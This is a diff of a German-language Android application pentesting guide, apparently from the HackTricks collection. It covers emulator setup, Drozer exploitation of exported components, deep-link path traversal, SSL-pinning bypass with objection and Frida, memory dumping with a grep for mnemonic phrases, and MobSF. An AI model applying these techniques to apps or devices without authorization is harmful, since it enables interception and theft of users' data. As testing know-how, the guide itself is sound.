@ -200,7 +200,7 @@ bypass-biometric-authentication-android.md
- **Codeausführung**: `Runtime.exec(), ProcessBuilder(), native code:system()`
- **SMS senden**: `sendTextMessage, sendMultipartTestMessage`
- **Native Funktionen** deklariert als `native`: `public native, System.loadLibrary, System.load`
- [Lesen Sie dies, um zu erfahren, **wie man native Funktionen zurückverfolgt**](reversing-native-libraries.md)
- [Lesen Sie dies, um zu erfahren, **wie man native Funktionen umkehrt**](reversing-native-libraries.md)
### **Weitere Tricks**
@ -230,8 +230,8 @@ Dank der ADB-Verbindung können Sie **Drozer** und **Frida** innerhalb der Emula
#### Verwendung eines Emulators
- [**Android Studio**](https://developer.android.com/studio) (Sie können **x86** und **arm** Geräte erstellen, und laut [**diesem** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**neueste x86** Versionen **unterstützen ARM-Bibliotheken** ohne einen langsamen ARM-Emulator zu benötigen).
- Lernen Sie, wie Sie es auf dieser Seite einrichten:
- [**Android Studio**](https://developer.android.com/studio) (Sie können **x86** und **arm** Geräte erstellen, und laut [**diesem** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**neueren x86** Versionen **unterstützen ARM-Bibliotheken** ohne einen langsamen ARM-Emulator zu benötigen).
- Lernen Sie, es auf dieser Seite einzurichten:
{{#ref}}
avd-android-virtual-device.md
@ -240,7 +240,7 @@ avd-android-virtual-device.md
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Kostenlose Version:** Personal Edition, Sie müssen ein Konto erstellen. _Es wird empfohlen, die Version **MIT** _**VirtualBox** herunterzuladen, um potenzielle Fehler zu vermeiden._)
- [**Nox**](https://es.bignox.com) (Kostenlos, unterstützt jedoch kein Frida oder Drozer).
> [!HINWEIS]
> [!NOTE]
> Denken Sie daran, dass beim Erstellen eines neuen Emulators auf einer beliebigen Plattform der Bildschirm umso größer ist, je langsamer der Emulator läuft. Wählen Sie also nach Möglichkeit kleine Bildschirme aus.
Um **Google-Dienste** (wie den App Store) in Genymotion zu installieren, müssen Sie auf die rot markierte Schaltfläche im folgenden Bild klicken:
@ -257,7 +257,7 @@ Sie müssen die **Debugging**-Optionen aktivieren, und es wäre gut, wenn Sie es
2. (Ab Android 8.0) Wählen Sie **System**.
3. Wählen Sie **Über das Telefon**.
4. Drücken Sie **Build-Nummer** 7 Mal.
5. Gehen Sie zurück, und Sie finden die **Entwickleroptionen**.
5. Gehen Sie zurück und Sie finden die **Entwickleroptionen**.
> Sobald Sie die Anwendung installiert haben, sollten Sie zunächst versuchen, sie zu verwenden und zu untersuchen, was sie tut, wie sie funktioniert und sich damit vertraut zu machen.\
> Ich empfehle, diese erste dynamische Analyse mit MobSF-Dynamikanalyse + pidcat durchzuführen, damit wir **lernen können, wie die Anwendung funktioniert**, während MobSF eine Menge **interessanter** **Daten** erfasst, die Sie später überprüfen können.
@ -266,19 +266,19 @@ Sie müssen die **Debugging**-Optionen aktivieren, und es wäre gut, wenn Sie es
**Protokollierung**
Entwickler sollten vorsichtig sein, **Debugging-Informationen** öffentlich zugänglich zu machen, da dies zu sensiblen Datenlecks führen kann. Die Tools [**pidcat**](https://github.com/JakeWharton/pidcat) und `adb logcat` werden empfohlen, um Anwendungsprotokolle zu überwachen und sensible Informationen zu identifizieren und zu schützen. **Pidcat** wird wegen seiner Benutzerfreundlichkeit und Lesbarkeit bevorzugt.
Entwickler sollten vorsichtig sein, **Debugging-Informationen** öffentlich zugänglich zu machen, da dies zu sensiblen Datenlecks führen kann. Die Tools [**pidcat**](https://github.com/JakeWharton/pidcat) und `adb logcat` werden empfohlen, um Anwendungsprotokolle zu überwachen, um sensible Informationen zu identifizieren und zu schützen. **Pidcat** wird wegen seiner Benutzerfreundlichkeit und Lesbarkeit bevorzugt.
> [!WARNUNG]
> [!WARNING]
> Beachten Sie, dass ab **neueren Versionen als Android 4.0** **Anwendungen nur auf ihre eigenen Protokolle zugreifen können**. Anwendungen können also nicht auf die Protokolle anderer Apps zugreifen.\
> Dennoch wird weiterhin empfohlen, **sensible Informationen nicht zu protokollieren**.
**Zwischenablage-Puffer-Caching**
Das **zwischenablagebasierte** Framework von Android ermöglicht die Copy-Paste-Funktionalität in Apps, birgt jedoch ein Risiko, da **andere Anwendungen** auf die Zwischenablage **zugreifen** können, was potenziell sensible Daten offenlegen könnte. Es ist wichtig, die **Copy/Paste**-Funktionen für sensible Abschnitte einer Anwendung, wie z. B. Kreditkartendaten, zu deaktivieren, um Datenlecks zu verhindern.
Das **clipboard-basierte** Framework von Android ermöglicht die Copy-Paste-Funktionalität in Apps, birgt jedoch ein Risiko, da **andere Anwendungen** auf die Zwischenablage **zugreifen** können, was potenziell sensible Daten offenlegen könnte. Es ist wichtig, die **Copy/Paste**-Funktionen für sensible Abschnitte einer Anwendung, wie z. B. Kreditkartendaten, zu deaktivieren, um Datenlecks zu verhindern.
**Absturzprotokolle**
Wenn eine Anwendung **abstürzt** und **Protokolle speichert**, können diese Protokolle Angreifern helfen, insbesondere wenn die Anwendung nicht zurückverfolgt werden kann. Um dieses Risiko zu mindern, vermeiden Sie das Protokollieren bei Abstürzen, und wenn Protokolle über das Netzwerk übertragen werden müssen, stellen Sie sicher, dass sie über einen SSL-Kanal zur Sicherheit gesendet werden.
Wenn eine Anwendung **abstürzt** und **Protokolle speichert**, können diese Protokolle Angreifern helfen, insbesondere wenn die Anwendung nicht umgekehrt werden kann. Um dieses Risiko zu mindern, vermeiden Sie das Protokollieren bei Abstürzen, und wenn Protokolle über das Netzwerk übertragen werden müssen, stellen Sie sicher, dass sie über einen SSL-Kanal zur Sicherheit gesendet werden.
Als Pentester sollten Sie **diese Protokolle überprüfen**.
@ -291,13 +291,13 @@ Anwendungen integrieren häufig Dienste wie Google Adsense, die unbeabsichtigt *
Die meisten Anwendungen verwenden **interne SQLite-Datenbanken**, um Informationen zu speichern. Während des Pentests sollten Sie einen **Blick** auf die **Datenbanken** werfen, die erstellt wurden, die Namen der **Tabellen** und **Spalten** sowie alle **gespeicherten Daten**, da Sie **sensible Informationen** finden könnten (was eine Schwachstelle darstellen würde).\
Datenbanken sollten sich in `/data/data/the.package.name/databases` wie `/data/data/com.mwr.example.sieve/databases` befinden.
Wenn die Datenbank vertrauliche Informationen speichert und **verschlüsselt** ist, Sie jedoch das **Passwort** innerhalb der Anwendung **finden**, ist dies immer noch eine **Schwachstelle**.
Wenn die Datenbank vertrauliche Informationen speichert und **verschlüsselt** ist, Sie jedoch das **Passwort** in der Anwendung finden können, ist dies immer noch eine **Schwachstelle**.
Zählen Sie die Tabellen mit `.tables` und zählen Sie die Spalten der Tabellen mit `.schema <table_name>`.
### Drozer (Exploiting Activities, Content Providers und Services)
Aus [Drozer-Dokumentation](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** ermöglicht es Ihnen, **die Rolle einer Android-App zu übernehmen** und mit anderen Apps zu interagieren. Es kann **alles tun, was eine installierte Anwendung tun kann**, wie die Nutzung des Inter-Process Communication (IPC)-Mechanismus von Android und die Interaktion mit dem zugrunde liegenden Betriebssystem.\
Aus [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** ermöglicht es Ihnen, **die Rolle einer Android-App zu übernehmen** und mit anderen Apps zu interagieren. Es kann **alles tun, was eine installierte Anwendung tun kann**, wie die Nutzung des Inter-Process Communication (IPC)-Mechanismus von Android und die Interaktion mit dem zugrunde liegenden Betriebssystem.\
Drozer ist ein nützliches Tool, um **exportierte Aktivitäten, exportierte Dienste und Content Provider** auszunutzen, wie Sie in den folgenden Abschnitten lernen werden.
### Ausnutzen exportierter Aktivitäten
@ -311,10 +311,10 @@ Wenn eine Aktivität exportiert ist, können Sie ihren Bildschirm von einer exte
[**Erfahren Sie, wie Sie exportierte Aktivitäten mit Drozer ausnutzen.**](drozer-tutorial/index.html#activities)
Sie können auch eine exportierte Aktivität von adb starten:
Sie können auch eine exportierte Aktivität von adb aus starten:
- Paketname ist com.example.demo
- Exportierte Aktivitätsname ist com.example.test.MainActivity
- PackageName ist com.example.demo
- Exportierte ActivityName ist com.example.test.MainActivity
```bash
adb shell am start -n com.example.demo/com.example.test.MainActivity
```
@ -346,23 +346,23 @@ Denken Sie daran, dass die Aktionen eines Services in der Methode `onStartComman
Ein Service ist im Grunde etwas, das **Daten empfangen**, sie **verarbeiten** und (oder nicht) eine Antwort **zurückgeben** kann. Wenn eine Anwendung einige Services exportiert, sollten Sie den **Code** überprüfen, um zu verstehen, was er tut, und ihn **dynamisch** testen, um vertrauliche Informationen zu extrahieren, Authentifizierungsmaßnahmen zu umgehen...\
[**Erfahren Sie, wie Sie Services mit Drozer ausnutzen.**](drozer-tutorial/index.html#services)
### **Ausnutzen von Broadcast Receivern**
### **Ausnutzen von Broadcast Receivers**
[**Lesen Sie dies, wenn Sie auffrischen möchten, was ein Broadcast Receiver ist.**](android-applications-basics.md#broadcast-receivers)\
Denken Sie daran, dass die Aktionen eines Broadcast Receivers in der Methode `onReceive` beginnen.
Ein Broadcast Receiver wartet auf eine Art von Nachricht. Je nachdem, wie der Empfänger die Nachricht verarbeitet, könnte er anfällig sein.\
[**Erfahren Sie, wie Sie Broadcast Receiver mit Drozer ausnutzen.**](#exploiting-broadcast-receivers)
Ein Broadcast Receiver wartet auf eine Art von Nachricht. Je nachdem, wie der Receiver die Nachricht verarbeitet, könnte er anfällig sein.\
[**Erfahren Sie, wie Sie Broadcast Receivers mit Drozer ausnutzen.**](#exploiting-broadcast-receivers)
### **Ausnutzen von Schemes / Deep Links**
Sie können manuell nach Deep Links suchen, indem Sie Tools wie MobSF oder Skripte wie [dieses hier](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py) verwenden.\
Sie können manuell nach Deep Links suchen, indem Sie Tools wie MobSF oder Skripte wie [dieses](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py) verwenden.\
Sie können ein deklariertes **Scheme** mit **adb** oder einem **Browser** **öffnen**:
```bash
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
```
_Beachten Sie, dass Sie **den Paketnamen weglassen** können und das Mobilgerät automatisch die App aufruft, die diesen Link öffnen sollte._
```markup
```html
<!-- Browser regular link -->
<a href="scheme://hostname/path?param=value">Click me</a>
<!-- fallback in your url you could try the intent url -->
@ -370,28 +370,28 @@ _Beachten Sie, dass Sie **den Paketnamen weglassen** können und das Mobilgerät
```
**Code ausgeführt**
Um den **Code zu finden, der in der App ausgeführt wird**, gehe zur Aktivität, die durch den Deeplink aufgerufen wird, und suche die Funktion **`onNewIntent`**.
Um den **Code zu finden, der in der App ausgeführt wird**, gehe zu der Aktivität, die durch den Deeplink aufgerufen wird, und suche die Funktion **`onNewIntent`**.
![](<../../images/image (436) (1) (1) (1).png>)
**Sensible Informationen**
Jedes Mal, wenn du einen Deep Link findest, überprüfe, dass **er keine sensiblen Daten (wie Passwörter) über URL-Parameter empfängt**, da jede andere Anwendung **den Deep Link nachahmen und diese Daten stehlen könnte!**
Jedes Mal, wenn du einen Deeplink findest, überprüfe, dass **er keine sensiblen Daten (wie Passwörter) über URL-Parameter empfängt**, da jede andere Anwendung **den Deeplink nachahmen und diese Daten stehlen könnte!**
**Parameter im Pfad**
Du **musst auch überprüfen, ob ein Deep Link einen Parameter im Pfad** der URL verwendet, wie: `https://api.example.com/v1/users/{username}`. In diesem Fall kannst du eine Pfadtraversierung erzwingen, indem du auf etwas wie: `example://app/users?username=../../unwanted-endpoint%3fparam=value` zugreifst.\
Du **musst auch überprüfen, ob ein Deeplink einen Parameter im Pfad** der URL verwendet, wie: `https://api.example.com/v1/users/{username}`. In diesem Fall kannst du eine Pfadtraversierung erzwingen, indem du auf etwas wie: `example://app/users?username=../../unwanted-endpoint%3fparam=value` zugreifst.\
Beachte, dass du, wenn du die richtigen Endpunkte innerhalb der Anwendung findest, möglicherweise eine **Open Redirect** verursachen kannst (wenn ein Teil des Pfades als Domainname verwendet wird), **Account-Übernahme** (wenn du die Benutzerdaten ohne CSRF-Token ändern kannst und der verwundbare Endpunkt die richtige Methode verwendet) und jede andere Verwundbarkeit. Mehr [Info dazu hier](http://dphoeniixx.com/2020/12/13-2/).
**Weitere Beispiele**
Ein [interessanter Bug-Bounty-Bericht](https://hackerone.com/reports/855618) über Links (_/.well-known/assetlinks.json_).
### Fehler bei der Inspektion und Verifizierung der Transportschicht
### Transport Layer Inspektion und Verifizierungsfehler
- **Zertifikate werden von Android-Anwendungen nicht immer ordnungsgemäß überprüft**. Es ist üblich, dass diese Anwendungen Warnungen ignorieren und selbstsignierte Zertifikate akzeptieren oder in einigen Fällen auf HTTP-Verbindungen zurückgreifen.
- **Verhandlungen während des SSL/TLS-Handshakes sind manchmal schwach** und verwenden unsichere Cipher-Suiten. Diese Verwundbarkeit macht die Verbindung anfällig für Man-in-the-Middle (MITM)-Angriffe, die es Angreifern ermöglichen, die Daten zu entschlüsseln.
- **Leckage privater Informationen** ist ein Risiko, wenn Anwendungen über sichere Kanäle authentifizieren, aber dann über unsichere Kanäle für andere Transaktionen kommunizieren. Dieser Ansatz schützt sensible Daten, wie Sitzungscookies oder Benutzerdetails, nicht vor der Abfangung durch böswillige Akteure.
- **Verhandlungen während des SSL/TLS-Handshakes sind manchmal schwach**, da unsichere Cipher-Suiten verwendet werden. Diese Verwundbarkeit macht die Verbindung anfällig für Man-in-the-Middle (MITM)-Angriffe, die es Angreifern ermöglichen, die Daten zu entschlüsseln.
- **Leckage privater Informationen** ist ein Risiko, wenn Anwendungen über sichere Kanäle authentifizieren, dann jedoch über unsichere Kanäle für andere Transaktionen kommunizieren. Dieser Ansatz schützt sensible Daten, wie Sitzungscookies oder Benutzerdetails, nicht vor Abfangen durch böswillige Akteure.
#### Zertifikatsverifizierung
@ -401,17 +401,17 @@ Wir werden uns auf die **Zertifikatsverifizierung** konzentrieren. Die Integrit
SSL-Pinning ist eine Sicherheitsmaßnahme, bei der die Anwendung das Serverzertifikat mit einer bekannten Kopie vergleicht, die innerhalb der Anwendung selbst gespeichert ist. Diese Methode ist entscheidend, um MITM-Angriffe zu verhindern. Die Implementierung von SSL-Pinning wird für Anwendungen, die mit sensiblen Informationen umgehen, dringend empfohlen.
#### Verkehrsinspektion
#### Verkehrsinpektion
Um HTTP-Verkehr zu inspizieren, ist es notwendig, das **Zertifikat des Proxy-Tools zu installieren** (z. B. Burp). Ohne die Installation dieses Zertifikats ist der verschlüsselte Verkehr möglicherweise nicht über den Proxy sichtbar. Für eine Anleitung zur Installation eines benutzerdefinierten CA-Zertifikats, [**klicke hier**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
Um HTTP-Verkehr zu inspizieren, ist es notwendig, das **Zertifikat des Proxy-Tools zu installieren** (z. B. Burp). Ohne die Installation dieses Zertifikats ist verschlüsselter Verkehr möglicherweise nicht über den Proxy sichtbar. Für eine Anleitung zur Installation eines benutzerdefinierten CA-Zertifikats, [**klicke hier**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
Anwendungen, die **API Level 24 und höher** anvisieren, erfordern Änderungen an der Network Security Config, um das CA-Zertifikat des Proxys zu akzeptieren. Dieser Schritt ist entscheidend für die Inspektion von verschlüsseltem Verkehr. Für Anweisungen zur Änderung der Network Security Config, [**siehe dieses Tutorial**](make-apk-accept-ca-certificate.md).
Anwendungen, die **API Level 24 und höher** anvisieren, erfordern Änderungen an der Network Security Config, um das CA-Zertifikat des Proxys zu akzeptieren. Dieser Schritt ist entscheidend für die Inspektion von verschlüsseltem Verkehr. Für Anweisungen zur Änderung der Network Security Config, [**verweise auf dieses Tutorial**](make-apk-accept-ca-certificate.md).
#### Umgehung von SSL-Pinning
Wenn SSL-Pinning implementiert ist, wird es notwendig, es zu umgehen, um HTTPS-Verkehr zu inspizieren. Verschiedene Methoden stehen dafür zur Verfügung:
- Automatisch **modifizieren** des **apk**, um SSL-Pinning mit [**apk-mitm**](https://github.com/shroudedcode/apk-mitm) zu **umgehen**. Der größte Vorteil dieser Option ist, dass du kein Root benötigst, um das SSL-Pinning zu umgehen, aber du musst die Anwendung deinstallieren und die neue installieren, und das funktioniert nicht immer.
- Automatisch **modifiziere** die **apk**, um SSL-Pinning mit [**apk-mitm**](https://github.com/shroudedcode/apk-mitm) zu **umgehen**. Der größte Vorteil dieser Option ist, dass du kein Root benötigst, um das SSL-Pinning zu umgehen, aber du musst die Anwendung deinstallieren und die neue installieren, und das funktioniert nicht immer.
- Du könntest **Frida** verwenden (unten besprochen), um diesen Schutz zu umgehen. Hier hast du eine Anleitung zur Verwendung von Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
- Du kannst auch versuchen, SSL-Pinning **automatisch zu umgehen** mit [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
- Du kannst auch versuchen, SSL-Pinning **automatisch zu umgehen** mit **MobSF dynamischer Analyse** (unten erklärt)
@ -423,19 +423,19 @@ Es ist auch wichtig, nach häufigen Webverwundbarkeiten innerhalb der Anwendung
### Frida
[Frida](https://www.frida.re) ist ein dynamisches Instrumentierungstoolkit für Entwickler, Reverse-Engineers und Sicherheitsforscher.\
[Frida](https://www.frida.re) ist ein Toolkit zur dynamischen Instrumentierung für Entwickler, Reverse-Engineers und Sicherheitsforscher.\
**Du kannst laufende Anwendungen zugreifen und Methoden zur Laufzeit hooken, um das Verhalten zu ändern, Werte zu ändern, Werte zu extrahieren, anderen Code auszuführen...**\
Wenn du Android-Anwendungen pentesten möchtest, musst du wissen, wie man Frida verwendet.
- Lerne, wie man Frida verwendet: [**Frida-Tutorial**](frida-tutorial/index.html)
- Eine Art "GUI" für Aktionen mit Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
- Eine "GUI" für Aktionen mit Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
- Ojection ist großartig, um die Verwendung von Frida zu automatisieren: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
- Du kannst einige großartige Frida-Skripte hier finden: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
- Versuche, Anti-Debugging / Anti-Frida-Mechanismen zu umgehen, indem du Frida wie in [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) angegeben lädst (Tool [linjector](https://github.com/erfur/linjector-rs))
### **Speicher dumpen - Fridump**
Überprüfe, ob die Anwendung sensible Informationen im Speicher speichert, die sie nicht speichern sollte, wie Passwörter oder mnemonische Sätze.
Überprüfe, ob die Anwendung sensible Informationen im Speicher speichert, die sie nicht speichern sollte, wie Passwörter oder Mnemonics.
Mit [**Fridump3**](https://github.com/rootbsd/fridump3) kannst du den Speicher der App dumpen mit:
```bash
@ -446,13 +446,13 @@ python3 fridump3.py -u <PID>
frida-ps -Uai
python3 fridump3.py -u "<Name>"
```
Dies wird den Speicher im ./dump-Ordner ausgeben, und dort könnten Sie mit etwas wie grep:
Dies wird den Speicher im ./dump-Ordner ausgeben, und dort könnten Sie mit etwas wie grep suchen:
```bash
strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$"
```
### **Empfindliche Daten im Keystore**
In Android ist der Keystore der beste Ort, um empfindliche Daten zu speichern. Mit ausreichenden Berechtigungen ist es jedoch immer noch **möglich, darauf zuzugreifen**. Da Anwendungen dazu neigen, hier **empfindliche Daten im Klartext** zu speichern, sollten die Pentests dies als Root-Benutzer überprüfen, da jemand mit physischem Zugriff auf das Gerät in der Lage sein könnte, diese Daten zu stehlen.
In Android ist der Keystore der beste Ort, um empfindliche Daten zu speichern. Mit ausreichenden Berechtigungen ist es jedoch immer noch **möglich, darauf zuzugreifen**. Da Anwendungen dazu neigen, hier **sensible Daten im Klartext** zu speichern, sollten die Pentests dies als Root-Benutzer überprüfen, da jemand mit physischem Zugriff auf das Gerät in der Lage sein könnte, diese Daten zu stehlen.
Selbst wenn eine App Daten im Keystore speichert, sollten die Daten verschlüsselt sein.
@ -472,7 +472,7 @@ Wenn Sie eine Anwendung in den Hintergrund versetzen, speichert Android einen **
Wenn dieser Schnappschuss jedoch **sensible Informationen** enthält, könnte jemand mit Zugriff auf den Schnappschuss diese **Informationen stehlen** (beachten Sie, dass Sie Root-Rechte benötigen, um darauf zuzugreifen).
Die Schnappschüsse werden normalerweise unter folgendem Pfad gespeichert: **`/data/system_ce/0/snapshots`**
Die Schnappschüsse werden normalerweise unter: **`/data/system_ce/0/snapshots`** gespeichert.
Android bietet eine Möglichkeit, die **Screenshot-Erfassung zu verhindern, indem der FLAG_SECURE** Layoutparameter gesetzt wird. Durch die Verwendung dieses Flags werden die Fensterinhalte als sicher behandelt, wodurch verhindert wird, dass sie in Screenshots erscheinen oder auf nicht sicheren Displays angezeigt werden.
```bash
@ -484,9 +484,9 @@ Dieses Tool kann Ihnen helfen, verschiedene Tools während der dynamischen Analy
### Intent Injection
Entwickler erstellen häufig Proxy-Komponenten wie Aktivitäten, Dienste und Broadcast-Receiver, die diese Intents verarbeiten und an Methoden wie `startActivity(...)` oder `sendBroadcast(...)` weiterleiten, was riskant sein kann.
Entwickler erstellen häufig Proxy-Komponenten wie Aktivitäten, Dienste und Broadcast-Receiver, die diese Intents verarbeiten und an Methoden wie `startActivity(...)` oder `sendBroadcast(...)` weitergeben, was riskant sein kann.
Die Gefahr liegt darin, Angreifern zu ermöglichen, nicht exportierte App-Komponenten auszulösen oder auf sensible Content-Provider zuzugreifen, indem sie diese Intents fehlleiten. Ein bemerkenswertes Beispiel ist die `WebView`-Komponente, die URLs in `Intent`-Objekte über `Intent.parseUri(...)` umwandelt und sie dann ausführt, was potenziell zu bösartigen Intent-Injektionen führen kann.
Die Gefahr liegt darin, Angreifern zu ermöglichen, nicht exportierte App-Komponenten auszulösen oder auf sensible Content-Provider zuzugreifen, indem diese Intents fehlgeleitet werden. Ein bemerkenswertes Beispiel ist die `WebView`-Komponente, die URLs in `Intent`-Objekte über `Intent.parseUri(...)` umwandelt und sie dann ausführt, was potenziell zu bösartigen Intent-Injektionen führen kann.
### Wesentliche Erkenntnisse
@ -500,7 +500,7 @@ Die Gefahr liegt darin, Angreifern zu ermöglichen, nicht exportierte App-Kompon
Wahrscheinlich kennen Sie diese Art von Schwachstellen aus dem Web. Sie müssen bei diesen Schwachstellen in einer Android-Anwendung besonders vorsichtig sein:
- **SQL Injection:** Stellen Sie beim Umgang mit dynamischen Abfragen oder Content-Providern sicher, dass Sie parametrisierte Abfragen verwenden.
- **JavaScript Injection (XSS):** Überprüfen Sie, ob JavaScript- und Plugin-Unterstützung für alle WebViews deaktiviert ist (standardmäßig deaktiviert). [Mehr Infos hier](webview-attacks.md#javascript-enabled).
- **JavaScript Injection (XSS):** Überprüfen Sie, ob JavaScript- und Plugin-Unterstützung für WebViews deaktiviert ist (standardmäßig deaktiviert). [Mehr Infos hier](webview-attacks.md#javascript-enabled).
- **Local File Inclusion:** WebViews sollten keinen Zugriff auf das Dateisystem haben (standardmäßig aktiviert) - `(webview.getSettings().setAllowFileAccess(false);)`. [Mehr Infos hier](webview-attacks.md#javascript-enabled).
- **Eternal cookies**: In mehreren Fällen, wenn die Android-Anwendung die Sitzung beendet, wird das Cookie nicht widerrufen oder könnte sogar auf der Festplatte gespeichert werden.
- [**Secure Flag** in cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
@ -520,8 +520,8 @@ Wahrscheinlich kennen Sie diese Art von Schwachstellen aus dem Web. Sie müssen
docker pull opensecurity/mobile-security-framework-mobsf
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
```
Hinweis: MobSF kann **Android**(apk)**, IOS**(ipa) **und Windows**(apx) Anwendungen analysieren (_Windows-Anwendungen müssen von einem MobSF analysiert werden, das auf einem Windows-Host installiert ist_).\
Wenn Sie auch eine **ZIP**-Datei mit dem Quellcode einer **Android**- oder **IOS**-App erstellen (gehen Sie zum Stammverzeichnis der Anwendung, wählen Sie alles aus und erstellen Sie eine ZIP-Datei), kann es diese ebenfalls analysieren.
Beachten Sie, dass MobSF **Android**(apk)**, IOS**(ipa) **und Windows**(apx) Anwendungen analysieren kann (_Windows-Anwendungen müssen von einem MobSF analysiert werden, das auf einem Windows-Host installiert ist_).\
Wenn Sie außerdem eine **ZIP**-Datei mit dem Quellcode einer **Android**- oder **IOS**-App erstellen (gehen Sie zum Stammordner der Anwendung, wählen Sie alles aus und erstellen Sie eine ZIP-Datei), kann es diese ebenfalls analysieren.
MobSF ermöglicht auch die **Diff/Compare**-Analyse und die Integration von **VirusTotal** (Sie müssen Ihren API-Schlüssel in _MobSF/settings.py_ festlegen und aktivieren: `VT_ENABLED = TRUE` `VT_API_KEY = <Ihr API-Schlüssel>` `VT_UPLOAD = TRUE`). Sie können auch `VT_UPLOAD` auf `False` setzen, dann wird der **Hash** anstelle der Datei **hochgeladen**.
@ -534,12 +534,12 @@ Der **MobSF-Dynamikanalysator** kann:
- **HTTPS-Verkehr erfassen**
- **Frida** verwenden, um **Laufzeit**-**informationen** zu erhalten
Ab Android **Versionen > 5** wird **Frida automatisch gestartet** und die globalen **Proxy**-Einstellungen werden festgelegt, um den Verkehr zu **erfassen**. Es wird nur der Verkehr der getesteten Anwendung erfasst.
Ab Android **Versionen > 5** wird **automatisch Frida gestartet** und die globalen **Proxy**-Einstellungen werden festgelegt, um den Verkehr zu **erfassen**. Es wird nur der Verkehr der getesteten Anwendung erfasst.
**Frida**
Standardmäßig werden auch einige Frida-Skripte verwendet, um **SSL-Pinning**, **Root-Erkennung** und **Debugger-Erkennung** zu **umgehen** und um **interessante APIs** zu **überwachen**.\
MobSF kann auch **exportierte Aktivitäten aufrufen**, **Screenshots** davon machen und sie für den Bericht **speichern**.
MobSF kann auch **exportierte Aktivitäten aufrufen**, **Screenshots** davon erfassen und sie für den Bericht **speichern**.
Um den dynamischen Test zu **starten**, drücken Sie die grüne Schaltfläche: "**Start Instrumentation**". Drücken Sie "**Frida Live Logs**", um die von den Frida-Skripten generierten Protokolle zu sehen, und "**Live API Monitor**", um alle Aufrufe an gehookte Methoden, übergebene Argumente und zurückgegebene Werte zu sehen (dies wird nach dem Drücken von "Start Instrumentation" angezeigt).\
MobSF ermöglicht es Ihnen auch, Ihre eigenen **Frida-Skripte** zu laden (um die Ergebnisse Ihrer Frida-Skripte an MobSF zu senden, verwenden Sie die Funktion `send()`). Es hat auch **mehrere vorgefertigte Skripte**, die Sie laden können (Sie können weitere in `MobSF/DynamicAnalyzer/tools/frida_scripts/others/` hinzufügen), wählen Sie einfach **diese aus**, drücken Sie "**Load**" und drücken Sie "**Start Instrumentation**" (Sie können die Protokolle dieser Skripte in "**Frida Live Logs**" sehen).
@ -559,7 +559,7 @@ Sobald Sie das zusätzliche Modul ausgewählt haben, das Sie verwenden möchten,
**Shell**
Mobsf bietet Ihnen auch eine Shell mit einigen **adb**-Befehlen, **MobSF-Befehlen** und allgemeinen **Shell**-**Befehlen** am unteren Ende der Seite zur dynamischen Analyse. Einige interessante Befehle:
Mobsf bietet Ihnen auch eine Shell mit einigen **adb**-Befehlen, **MobSF-Befehlen** und gängigen **Shell**-**Befehlen** am unteren Ende der Seite zur dynamischen Analyse. Einige interessante Befehle:
```bash
help
shell ls
@ -595,7 +595,7 @@ Dies ist ein **großartiges Tool zur Durchführung statischer Analysen mit einer
### [Qark](https://github.com/linkedin/qark)
Dieses Tool ist darauf ausgelegt, nach mehreren **sicherheitsrelevanten Android-Anwendungsanfälligkeiten** zu suchen, entweder im **Quellcode** oder in **verpackten APKs**. Das Tool ist auch **in der Lage, ein "Proof-of-Concept" deploybares APK** und **ADB-Befehle** zu erstellen, um einige der gefundenen Schwachstellen auszunutzen (Exponierte Aktivitäten, Intents, Tapjacking...). Wie bei Drozer ist es nicht erforderlich, das Testgerät zu rooten.
Dieses Tool ist darauf ausgelegt, nach mehreren **sicherheitsrelevanten Schwachstellen in Android-Anwendungen** zu suchen, entweder im **Quellcode** oder in **verpackten APKs**. Das Tool ist auch **in der Lage, ein "Proof-of-Concept" deploybares APK** und **ADB-Befehle** zu erstellen, um einige der gefundenen Schwachstellen auszunutzen (Exponierte Aktivitäten, Intents, Tapjacking...). Wie bei Drozer ist es nicht erforderlich, das Testgerät zu rooten.
```bash
pip3 install --user qark # --user is only needed if not using a virtualenv
qark --apk path/to/my.apk
@ -615,7 +615,7 @@ reverse-apk relative/path/to/APP.apk
```
### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super)
SUPER ist eine Befehlszeilenanwendung, die unter Windows, MacOS X und Linux verwendet werden kann und _.apk_-Dateien auf Schwachstellen analysiert. Dies geschieht durch das Dekomprimieren von APKs und das Anwenden einer Reihe von Regeln, um diese Schwachstellen zu erkennen.
SUPER ist eine Befehlszeilenanwendung, die unter Windows, MacOS X und Linux verwendet werden kann und _.apk_-Dateien auf Schwachstellen analysiert. Dies geschieht durch das Dekomprimieren von APKs und das Anwenden einer Reihe von Regeln zur Erkennung dieser Schwachstellen.
